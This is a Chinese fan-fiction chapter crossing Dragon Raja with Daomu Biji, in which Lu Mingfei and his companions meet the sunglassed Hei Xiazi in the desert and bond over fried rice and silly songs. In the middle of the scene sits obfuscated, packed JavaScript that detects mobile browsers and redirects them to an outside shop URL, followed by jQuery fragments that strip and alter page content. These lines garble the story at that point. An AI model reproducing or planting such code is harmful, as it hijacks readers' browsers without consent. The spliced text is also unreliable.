“哎哟,烧得还挺干净。哪个大聪明带□□了?”
声音从风里传来,懒洋洋的,而且完全没有遮掩语气里的笑意。奇怪的是那种笑意并不让人觉得友好,只让人觉得这个人吊儿郎当的。
路明非猛地回头。
沙丘上居然立着一辆摩托车。
准确地说是半辆,黑色车身的大半都埋在沙子里,只露出昂立的车头车把和半个座位。一个男人跨坐在车上,黑色皮衣,肩背宽阔,一条路明非这辈子见过的最长的腿支在地上,那长度简直不是人类敢有的比例,路明非在游戏里捏角色都不好意思这么拉腿部参数。
除了一身黑,他还戴着一副黑色墨镜,镜片几乎遮住了半张脸,把头顶惨白的天和周围昏黄的沙地都映在里面。头发有点长,乱糟糟地垂在额前,嘴角带着一种玩世不恭的笑。
路明非一眼看过去,差点被晃得差点睁不开眼,不仅上因为背着光,更重要的是,这位大哥也太帅了。
路明非下意识看了看其他人。
吴邪斜靠在沙地上,手肘撑地,嘴里叼着一根烟,跟他一样像个有点姿色的流浪汉,连姿势都一样,抬头眯着眼睛看墨镜哥。
师兄还躺在沙地上,毫无知觉,眉清目秀,面容平静,眼睫毛上有一些细小的灰,像是沾了点点霜雪。
吴邪属于一种疲惫、沧桑,但是随时会从口袋里摸出一根烟然后开始笑着算计你的腹黑狡黠型帅大叔。好吧,青叔。楚子航属于干净、冷淡、欺霜傲雪,没有任何坏心思的校园文男主角。
这个人不一样。
荒野,摩托,皮衣,墨镜。
狂放,不羁,潇洒,浪子。
脸上写着我什么都不在乎,但是会在你觉得走投无路的时候出现在沙漠里。
……?等等,好像还不知道这个人的底细……
好吧,他在你走投无路的时候出现在沙漠里,如果是来救你的,那真是太好了,如果是来害你的,也让人觉得哪怕摩托车下死,只要坐过也风流啊!!!
“你那摩托还能骑吗?”吴邪问。
墨镜哥保持着姿势:“不能。”
“那你还骑在上面干什么?”
墨镜哥想了想,非常潇洒地抓了抓头发:“制造一个令人终生难忘的appearance。”
吴邪沉默了。
路明非也沉默了。
这酷哥好像是个逗逼啊。
不过也好,免得跟楚子航撞款。
吴邪把烟头从嘴里拿下来,弹了弹烟灰:“你是不是脑子里进沙子了?”
“那肯定没有,”墨镜哥说,“如果进沙子了,我现在应该会觉得这辆摩托还能骑。”
他说着还拧了拧油门。
摩托车巨震并发出一串闷响,车轮空转,一阵沙扑面而来,直接糊了路明非一脸。
路明非愤怒地跳起来大喊大叫。
等一下……长腿帅哥……摩托车……
还有个小细节需要证实一下。
“你是蒙古人吗?”路明非问。
墨镜哥微微一顿。
“我是蒙古族。”他说,“不过小朋友,我很意外,你对我说的第一句话居然是这个。”
路明非丝毫没注意到自己还在看他的腿。他脑子里只有两个念头。
第一,队伍里真的有一个又高又帅、腿巨长的蒙古大哥。
吴邪居然没骗他。
kao,难道自己判断错了,吴邪这个老狐狸,其实是可以相信的?
他其实不是狐狸,是个友善的大金毛?
路明非脑子略微超频了一会儿,迅速回到了插科打诨说烂话的舒适区。
第二,烤肉。
虽然还未曾有幸去内蒙古一望无际的大草原上纵马高歌过,但没吃过猪肉至少见过猪跑,外加之前吴邪大力渲染过——
烤全羊,烤肉。
外焦里嫩,滋滋冒油。
然后第一个念头渐渐远去。
他在白日梦里大快朵颐,墨镜哥挂空挡披着一件皮衣在篝火前烤半只油汪汪的羊,烤架旋转,油脂低落在火堆里,发出噼啪的响声,篝火映照着挥洒出去的汗水,吴邪给他片烤羊腿肉并蘸上调料,楚子航为他斟上马奶酒……
一直到吴邪在旁边幽幽地说:“路明非,口水擦一下。”
路明非精神一振。
路明非沉默了。
路明非无语了。
路明非百口莫辩了。
……他刚刚确实盯着墨镜哥的腿发呆,但他是在想别的事情!
就算真的要流口水了,也是因为烤肉,不是因为大哥你的腿!
虽然腿确实很长。
但是他不是,他没有啊!
黑瞎子看了看路明非,又低头看了看自己的造型,嘴角慢慢扬起来。
路明非:“不是!我不是那个意思!”
“懂,年轻人嘛,审美自由。”
“我真的不是那个意思!”
吴邪已经笑得弯下腰去。
“没事,”墨镜哥说,“我理解,我真的理解。”
“你理解个P!”
吴邪笑够了,问黑瞎子:“其他人呢?”
“走散了。”
“还剩几个?”
“我不知道。”
“什么时候?”
“跟你失联以后,大概十二个小时。”墨镜哥说,“之后无线电、卫星电话、短波台,全都没信号,后来连沙丘的方向都认不出来了。”
“你怎么找到这里的?”
“我没找到这里。”男人指了指脚下,“是这里找到我的。”
路明非觉得这句话有点不对劲。
但他现在没力气深究。
他嘴唇干裂,沙尘满面。刚刚那场风暴已经让他精疲力竭,墨镜哥制造的小风暴又榨干了他最后一点力气,他现在不想说话,不想动,只想就地躺下,睡他个天昏地暗。
但他的消化系统却依然保持着旺盛的工作热情。
热情到甚至不合时宜地发出了声音。
时机选择极差,在沙漠里、沙暴后、两个成年男人严肃进行认知拉通资源复盘颗粒度对齐的当口,他的肚子发出了一声旷野般辽远而深沉的鸣叫。
“咕——”
所有人都看向他。
路明非捂住肚子,试图假装什么事情都没发生。
墨镜哥就笑:“饿了?”
路明非没有说话,但他已经下意识舔了舔嘴唇。
墨镜哥“啧”了一声,一甩腿从摩托车上下来,在旁边的沙里挖出一个黑色的包,抖了抖沙,拉开拉链,从里面拿出几个银色的盒子。
“炒饭,吃不吃?”
路明非接过来,低头看了看包装。
“……青椒肉丝炒饭?”
“如假包换。”
“虽然我有点好奇你还能换出什么来,但是这已经足够了!”路明非热泪盈眶,“赞美食品工业!赞美人类科技!”
墨镜哥被他突如其来的热忱搞得笑容更灿烂了:“……吴邪给你吃什么了?”
“烤全羊啊,红柳烤肉啊……”吴邪抢答,“都没吃上。”
路明非苦着脸:“自从进入沙漠以后,我吃过的最好的一顿就是红烧牛肉面,加了卤蛋和火腿肠。”
那已经是在祁连山下的事情了。但想起那天的红烧牛肉面,路明非还是不争气地分泌了唾液。他接过炒饭,翻过来看了看配料表。
“还挺谨慎。”墨镜哥挑眉。
“我师兄干什么都要先看说明书,我受到了潜移默化的影响。”
配料表:青椒,肉丝,食用油,盐。
令人安心的家常食材。
后面是一串路明非读都读不出来的化学名。
路明非显然不是什么养生成分党,事实上他非常依赖添加剂制造的口感和风味。
不过……
保质期:十年。
“我kao,防腐剂加得有点多啊。”路明非说,“吃下去到时候我都烂了,这饭怕是还好好的。”
“有机化学的智慧!”墨镜男完全没有理会路明非的阴阳怪气,自顾自吹嘘起来,“现代食品工业千锤百炼的结晶!”
他蹲下来,抢过路明非手里的盒子,场面忽然变得非常网络购物直播间。
“正宗!东北大米。”
他举起饭盒,身体拗成一个很有曲线的姿势,让人感觉他下一句就要说“我从小吃到大”。
“米饭!颗颗分明。”
他拍了拍盒盖。
“青椒!脆而不生。”
他深吸一口气,作享受状。
“肉丝!弹而不柴。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944868|207178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路明非吞了口唾沫。
“锅气!这个真没有……”
路明非心想你吹这半天,倒是快点把饭给我啊!!!!!
“但是!重要的是!”男人继续说,“它可以在零下几十度到沙漠高温环境里长期保持稳定!”
包装撕开的瞬间,一股油香扑了出来。
路明非简直要当场皈依墨镜教。
青椒的颜色、肉丝的质感,米饭的香气,在此时此刻显得格外不真实。那香味甚至压过了沙土和焦糊味,迅速抓住了他的胃和他的心。
路明非往嘴里送了一口,闭上眼睛。
下一秒,整个人仿佛重新活了过来。
“怎么样?”墨镜哥问。
“我现在没办法评价好不好吃,”路明非嘴里塞满饭粒,含含糊糊地说,“因为我刚刚才作为一个人活过来。之前一直都活得像个动物。”
男人点点头,忽然唱了起来:
“青椒——肉丝——炒米饭——”
青椒肉丝炒米饭差点从路明非的鼻子里喷出来。
“一口下去——香喷喷——”
墨镜哥抬手打了个响指。
“荒郊野外没饭吃——”
“青椒肉丝——救命恩人——”
旋律似乎是某首耳熟能详的草原民歌改的,曲调悠长开阔还有几分悲凉,让人想起无边无际的草原,奔腾的骏马,亘古的风,尽管歌词实在是不忍卒读。他唱得很认真,节奏感和音准都不差,该拉长的音气息极稳,该短的音收得也利落,那因为缺水而略有点沙哑的声线在死寂的沙漠里如马头琴般分外悠扬。
路明非嘴里含着青椒肉丝炒饭,呆了约莫两秒。理智还在想这个人到底有什么毛病,神经却毫无预兆地对上了频率。
路明非囫囵咽下嘴里的饭,用勺子敲着饭盒,也唱了起来:
“红烧~牛肉~方便面~”
“面饼下锅~香又鲜~”
“荒郊野外没饭吃~”
“红烧牛肉~赛神仙~”
墨镜哥眼睛一亮,瞬间感觉遇到了同类。
是的,这世界上总会有人理解你。
不管你有多么神经病。
他直接给出了掌声和评价:“很好!很有精神!”
路明非被这突如其来的肯定晃得有点飘:“过奖过奖。”
吴邪站在一旁,脸上的表情像是看见两个成年人穿着纸尿裤在幼儿园门口骑着摇摇车PK。
“我真服了。你俩还相见恨晚上了,真是低山臭水遇知音啊。”
他无语地偏过头,不想承认自己认识这两个神经病。就在这时,他看见楚子航皱了皱眉。
楚子航的眼睛还没有睁开,脸上却先露出了痛苦的表情。
吴邪盯着他看了一会儿,发现他先抬起手来,按了按自己的眉心,然后把脸转向了另一边。
吴邪愣了愣,开始狂笑:“二位的歌声有活死人肉白骨之功效啊。”他指着楚子航,“刚刚我们两个摇了半天他都没醒,愣是被你们唱醒了。来来来,接着奏乐!接着舞!”
墨镜哥当即纵声:“青椒——肉丝——炒——米——饭——”
路明非赶紧捧着饭盒凑过去:“师兄?师兄你醒了?”
楚子航没有回答。
他的眉头皱得更紧,呼吸也变得急促。过了几秒,他忽然睁开眼睛。
那双眼睛里有一层还没散尽的雨幕。
他先看见路明非,再看见吴邪,最后看见正引吭高歌的神秘墨镜男人。z终于清醒过来,手下意识往腰间摸去。
那里什么都没有。
他身上的衣服都已经被沙暴烧成了粉末,只有一件显然不是他的冲锋衣勉强挂在身上。
“别紧张。”墨镜男人举起双手,“我暂时没有恶意。”
“暂时?”路明非问。他嘴里还含着一口米饭,一时也不知道能不能继续吃。
“把话说得太满容易给自己增加工作量。”
吴邪适时冒出来:“小路,小楚,这位是黑爷,我们都叫黑瞎子。”
楚子航的社交礼节不允许他问“你是瞎子?”,但路明非无所谓。
路明非毫无边界感地凑到他面前:“瞎子?”
黑瞎子揉了揉他的头发:“放心,我看得见。至少我在这场沙暴里看到的东西,比你们都多。”